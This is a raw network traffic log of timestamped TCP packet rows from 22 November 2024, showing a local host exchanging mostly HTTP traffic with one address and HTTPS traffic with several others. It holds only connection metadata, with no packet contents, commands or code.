Nov 22, 2024 17:08:59.590733051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.590794086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.590796947 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.590812922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.590864897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.590864897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.591658115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.591717958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.591739893 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.591753006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.591790915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.592683077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.592735052 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.592740059 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.592750072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.592786074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.592828035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.593523026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.593600035 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.593615055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.593674898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.593674898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.594367027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.594415903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.594430923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.594443083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.594516039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.595283031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.595305920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.595329046 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.595333099 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.595370054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.596199036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.596249104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.596252918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.596270084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.596306086 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.597173929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.597218037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.597232103 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.597244978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.597280025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.597280025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.598037004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.598148108 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.598319054 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.598376036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.598392963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.598459959 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.598459959 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.599277020 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.599329948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.599347115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.599364042 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.599406958 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.600188971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.600225925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.600239038 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.600281954 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.600332022 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.601165056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.601203918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.601216078 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.601228952 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.601259947 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.602039099 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.602106094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.602108002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.602121115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.602171898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.603015900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.603033066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.603046894 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.603091002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.603091002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.603847027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.603882074 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.603898048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.603914022 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.603986025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.604762077 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.604804039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.604818106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.604847908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.604899883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.605771065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.605789900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.605802059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.605855942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.605855942 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.606573105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.606697083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.606714964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.606745005 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.606821060 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.607511997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.607544899 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.607559919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.607620001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.607620001 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.608421087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.608450890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.608468056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.608503103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.608504057 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.608530998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.609724045 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.610491037 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.610519886 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.610915899 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.611336946 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.611408949 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.611715078 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.611773968 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.611778975 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.619237900 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.619272947 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.619281054 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.619307041 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.619333029 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.619333982 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.619348049 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.619379044 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.619452000 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.631866932 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631889105 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631896973 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631908894 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631925106 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631932020 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631947041 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.631958961 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.631988049 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.632019997 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.778362989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.778403044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.778417110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.778422117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.778456926 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.778465986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.778723955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.778762102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.778788090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.778800011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.778847933 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.779656887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.779694080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.779786110 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.779820919 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.780044079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.780067921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.780081034 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.780081034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.780111074 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.780124903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.780770063 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.780813932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.780854940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.780867100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.780903101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.781630039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.781677961 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.781692028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.781719923 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.781747103 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.782618999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.782670975 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.782696962 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.782710075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.782736063 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.782759905 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.783556938 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.783612013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.783623934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.783639908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.783658028 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.784775019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.784843922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.784856081 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.784861088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.784905910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.785774946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.785820961 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.785832882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.785845995 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.785888910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.786525011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.786546946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.786559105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.786581993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.786614895 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.787125111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.787173033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.787173033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.787184954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.787205935 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.787229061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.788120031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.788136005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.788147926 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.788172007 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.788197994 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.789022923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.789105892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.789139032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.789170980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.813649893 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.813688993 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.813736916 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.813747883 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.813884020 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.813884020 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.820619106 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.820633888 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.820686102 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.821465969 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.821496964 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.821535110 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.839456081 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.864803076 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.864840031 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.865029097 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.865044117 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.865276098 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.865829945 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.865858078 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.865902901 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.865943909 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.865957975 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.866223097 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.873792887 CET	49795	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:08:59.873835087 CET	443	49795	23.199.62.75	192.168.2.10
Nov 22, 2024 17:08:59.873893023 CET	49795	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:08:59.874237061 CET	49795	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:08:59.874249935 CET	443	49795	23.199.62.75	192.168.2.10
Nov 22, 2024 17:08:59.959024906 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.993273973 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.993343115 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.993413925 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.993428946 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.993447065 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.993479013 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.996340036 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.996361971 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.996417046 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.996442080 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:08:59.996485949 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.006337881 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.006478071 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.006490946 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.006531954 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.006587029 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.007077932 CET	49789	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.007102966 CET	443	49789	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.033013105 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.033034086 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.033086061 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.033101082 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.033123016 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.033139944 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.051028967 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.051049948 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.051096916 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.051137924 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.051151991 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.051177979 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.071269989 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.071301937 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.071357012 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.071374893 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.071396112 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.071414948 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.142093897 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.142121077 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.142137051 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.142275095 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.142292976 CET	443	49792	20.25.227.174	192.168.2.10
Nov 22, 2024 17:09:00.142362118 CET	49792	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:09:00.194730043 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.194751978 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.194822073 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.194842100 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.194879055 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.196625948 CET	49798	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:00.196667910 CET	443	49798	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:00.196825027 CET	49798	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:00.210074902 CET	49798	443	192.168.2.10	23.199.62.75
Nov 22, 2024 17:09:00.210097075 CET	443	49798	23.199.62.75	192.168.2.10
Nov 22, 2024 17:09:00.210552931 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.210571051 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.210661888 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.210690022 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.211031914 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.224010944 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.224030972 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.224080086 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.224092007 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.224126101 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.224137068 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.239689112 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.239710093 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.239769936 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.239780903 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.239819050 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.255332947 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.255373955 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.255431890 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.255440950 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.255469084 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.255477905 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.269958973 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.270018101 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.270025015 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.270041943 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.270072937 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.270088911 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.285832882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.285851955 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.285870075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.285876989 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.285890102 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.285929918 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.285943985 CET	443	49788	13.107.246.40	192.168.2.10
Nov 22, 2024 17:09:00.285973072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.285979033 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.286014080 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:09:00.286020041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.286246061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.286287069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.286298037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.286323071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.286339998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.286997080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.287045956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.287056923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.287061930 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.287076950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.287101030 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:00.287951946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:00.288089991 CET	49747	80	192.168.2.10	185.215.113.206
